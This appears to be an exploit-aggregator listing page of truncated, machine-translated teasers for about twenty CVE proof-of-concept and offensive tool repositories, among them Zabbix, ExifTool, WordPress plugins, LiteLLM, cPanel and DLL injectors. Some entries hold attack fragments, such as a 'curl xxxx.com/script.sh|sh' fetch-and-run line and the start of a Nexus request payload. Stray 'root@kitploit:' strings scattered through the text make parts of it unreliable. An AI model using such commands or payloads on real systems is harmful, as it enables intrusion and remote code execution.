CVE-2024-42327

CVE-2024-42327: Zabbix विशेषाधिकार वृद्धि - RCE विवरण यह प्रूफ-ऑफ-कॉन्सेप्ट POC CVE-2024-42327 का शोषण करके एडमिन API प्रमाणीकरण टोकन लीक करने और Zabbix सर्वर 6.0.32rc1, 6.4.17rc1, 7.0.1rc1 पर रिवर्स शेल प्राप्त करने के लिए एक आइटम बनाने के लिए उपयोग किया जा सकता है। Zabbix फ्रंटएंड पर डिफ़ॉल्ट...

CVE-2019-5475-Nexus-Repository-Manager-

CVE-2019-5475-Nexus-Repository-Manager- पेलोड root@kitploit: PUT /nexus/service/siesta/capabilities/xxxxxxxxx HTTP/1.1 Host: xxxx.xxxx.com User-Agent: Accept: application/json,application/vnd.siesta-error-v1+json,application/vnd.siesta-validation-errors-v1+json Accept-Language:...

RemoteDLLInjector

Introduction Ceci est un outil qui peut être utilisé pour l'injection de DLL : À partir du moment où RemoteDLLInjector s'exécute, il fournira toutes les étapes qu'il effectue pour réaliser l'injection de DLL. Si la DLL est injectée avec succès, elle renverra une session meterpreter avec les...

PowershellKerberos

PowershellKerberos Powershell का उपयोग करके kerberos का दुरुपयोग करने के लिए कुछ स्क्रिप्ट्स। उपयोग वीडियो देखें @BRIPWN का धन्यवाद YouTube Injector.ps1 Kerberos टिकट इंजेक्ट करने के लिए छोटा टूल। दो कार्य मोड सपोर्ट करता है: आप kirbi फ़ाइल से टिकट पढ़ सकते हैं मोड 1 आप b64 से टिकट पढ़ सकते हैं म...

CVE-2026-9848

CVE-2026-9848 CVE-2026-9848 — это неаутентифицированная SQL-инъекция SQLi, затрагивающая плагин WP Ticket Customer Support Ticket System & Helpdesk для WordPress до версии 6.0.4 включительно. Уязвимость возникает из-за того, что плагин берёт параметр поиска WordPress s и напрямую конкатенирует ег...

POC-CVE-2021-22204

POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 هذا مجرد سكريبت ملائم كتبته للاختبار. Output root@kitploit: Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh" This poc generates an image file...

CVE-2025-54123

CVE-2025-54123 - Hoverfly 命令注入（RCE） PoC CVE-2025-54123 - Hoverfly 中间件命令注入 📌 CVE 详情 ID : CVE-2025-54123 类型 ：命令注入 / 远程代码执行（RCE） 厂商 ：Hoverfly 影响 ：允许经过身份验证的攻击者通过中间件 API 端点执行任意系统命令。 受影响版本 ：Hoverfly ≤ 1.11.3 更多信息 ： GHSA-r4h8-hfp2-ggmf NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-54123 ⚙️ 描述 此漏洞影响...

NetMRI-2014-3418

NetMRI-CVE-2014-3418 - Metasploit 模块 InfoBlox Network Automation OS 命令注入 Metasploit 模块 产品：Network Automation root@kitploit: NetMRI Switch Port Manager Automation Change Manager Security Device Controller 厂商： root@kitploit: InfoBlox 受影响版本： root@kitploit: 6.4.X.X-6.8.4.X 测试版本： root@kitploit: 6.8.2....

CVE-2024-2997

ماسح CVE-2024-2997 نظرة عامة ماسح CVE-2024-2997 هو أداة فحص ثغرات متقدمة مصممة لاكتشاف ثغرة حقن الأوامر في تطبيقات الويب. تساعد هذه الأداة المتخصصين في الأمن على تحديد المخاطر الأمنية المحتملة في تطبيقاتهم. إخلاء مسؤولية هذه الأداة لأغراض تعليمية فقط. استخدمها فقط على التطبيقات التي تملكها أو لدي...

Exploits

Эксплойты Коллекция эксплойтов, разработанных Ron Jost По вопросам разработки эксплойтов обращайтесь ко мне: [email protected] Содержание: Плагин WordPress XCloner 4.2.12 — удалённое выполнение кода требуется аутентификация: CVE-2020-35948 Плагин WordPress Modern Events Calendar Lite 5.16.5 ...

CVE-2024-7954-RCE

विवरण SPIP द्वारा 4.30-alpha2, 4.2.13, और 4.1.16 से पहले उपयोग किया जाने वाला porteplume प्लगइन एक मनमाना कोड निष्पादन भेद्यता के लिए संवेदनशील है। एक दूरस्थ और अप्रमाणित हमलावर एक क्राफ्टेड HTTP अनुरोध भेजकर SPIP उपयोगकर्ता के रूप में मनमाना PHP निष्पादित कर सकता है। शोषण अवधारणा का प्रमाण...

CVE-2024-1813-POC

CVE-2024-1813 - Simple Job Board ≤ 2.11.0 WordPress - Неаутентифицированная инъекция PHP-объектов 🎥 Демо Proof-of-Concept Полный цикл: гость сохраняет сериализованный PHP-объект через публичную форму приложения, администратор открывает список кандидатов, и цепочка гаджетов создаёт веб-шелл...

spring-cloud-function-rce

Spring Cloud Function SPEL एक्सप्रेशन इंजेक्शन भेद्यता CVE-2022-22963 स्प्रिंग फ्रेमवर्क आधुनिक जावा-आधारित एंटरप्राइज़ अनुप्रयोगों किसी भी प्रकार के डिप्लॉयमेंट प्लेटफॉर्म पर के लिए एक व्यापक प्रोग्रामिंग और कॉन्फ़िगरेशन मॉडल प्रदान करता है। स्प्रिंग क्लाउड में सर्वरलेस फ्रेमवर्क स्प्रिंग क्लाउड...

shouganaiyo-loader

shouganaiyo-loader: Принудительный вход для Java-агентов shouganaiyo-loader — это кроссплатформенный инструмент командной строки на Node.js, основанный на Frida, который заставляет Java-процессы загружать Java/JVMTI-агент независимо от того, отключила ли JVM API присоединения агента. Установка...

poc_cve-2026-42208

CVE-2026-42208 — SQL-инъекция LiteLLM до аутентификации Лабораторная среда для воспроизведения и обнаружения CVE-2026-42208 — критической SQL-инъекции до аутентификации в LiteLLM, при которой неочищенные Bearer-токены попадают в необработанный запрос PostgreSQL. Обзор уязвимости...

CVE-2025-7384

CVE-2025-7384 — Injection d'objets PHP vers RCE Plugin : Database for Contact Form 7 contact-form-entries ≤ 1.4.3 CVSS : 9.8 Critique CWE : CWE-502 — Désérialisation de données non fiables Exigence d'authentification : Aucune non authentifié Impact : Exécution de code à distance Table des matière...

MAL-001

MAL-001 : Injection de modèles côté serveur FreeMarker dans Liferay Portal Un problème a été découvert dans Liferay - Portal =7.4.3.12-ga12. En insérant du contenu malveillant dans les modèles FTL, un attaquant peut mener des attaques SSTI Server-Side Template Injection, qui peuvent exploiter les...

nagios-xi-5.7.5-bugs

nagios-xi-5.7.5-bugs Сообщения об ошибках в Nagios XI CVE-2021-25296 Расположение кода /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php Фрагмент кода root@kitploit: if !empty$pluginoutputlen $diskwmicommand .= " --forcetruncateoutput " . $pluginoutputlen;...

Remote-DLL-Injection-with-Timer-based-Shellcode-Execution

टाइमर-आधारित शेलकोड निष्पादन के साथ रिमोट DLL इंजेक्शन पिछली गलत प्रक्रिया इंजेक्शन शीर्षक से अद्यतन किया गया दस्तावेज़! ⚠ केवल शैक्षिक अनुसंधान इस रिपॉज़िटरी में सुरक्षा अनुसंधान केवल शैक्षिक उद्देश्यों और अधिकृत उपयोग के लिए है। उपयोग जिम्मेदारी से और सभी लागू कानूनों एवं विनियमों के अनुसार करे...

POC-CVE-2026-58048

CVE-2026-58048 CVSS 4.0: 9.4 गंभीर | CWE-89: SQL Injection | NVD प्रमाणित cPanel उपयोगकर्ता → डेटाबेस रीनेम के माध्यम से MySQL root के रूप में मनमाना SQL। cPanel रूट के रूप में रीनेम ऑपरेशन निष्पादित करते समय उपयोगकर्ता के सत्र sqlmode ANSIQUOTES को अनुचित रूप से संरक्षित रखता है — डेटाबेस नाम मे...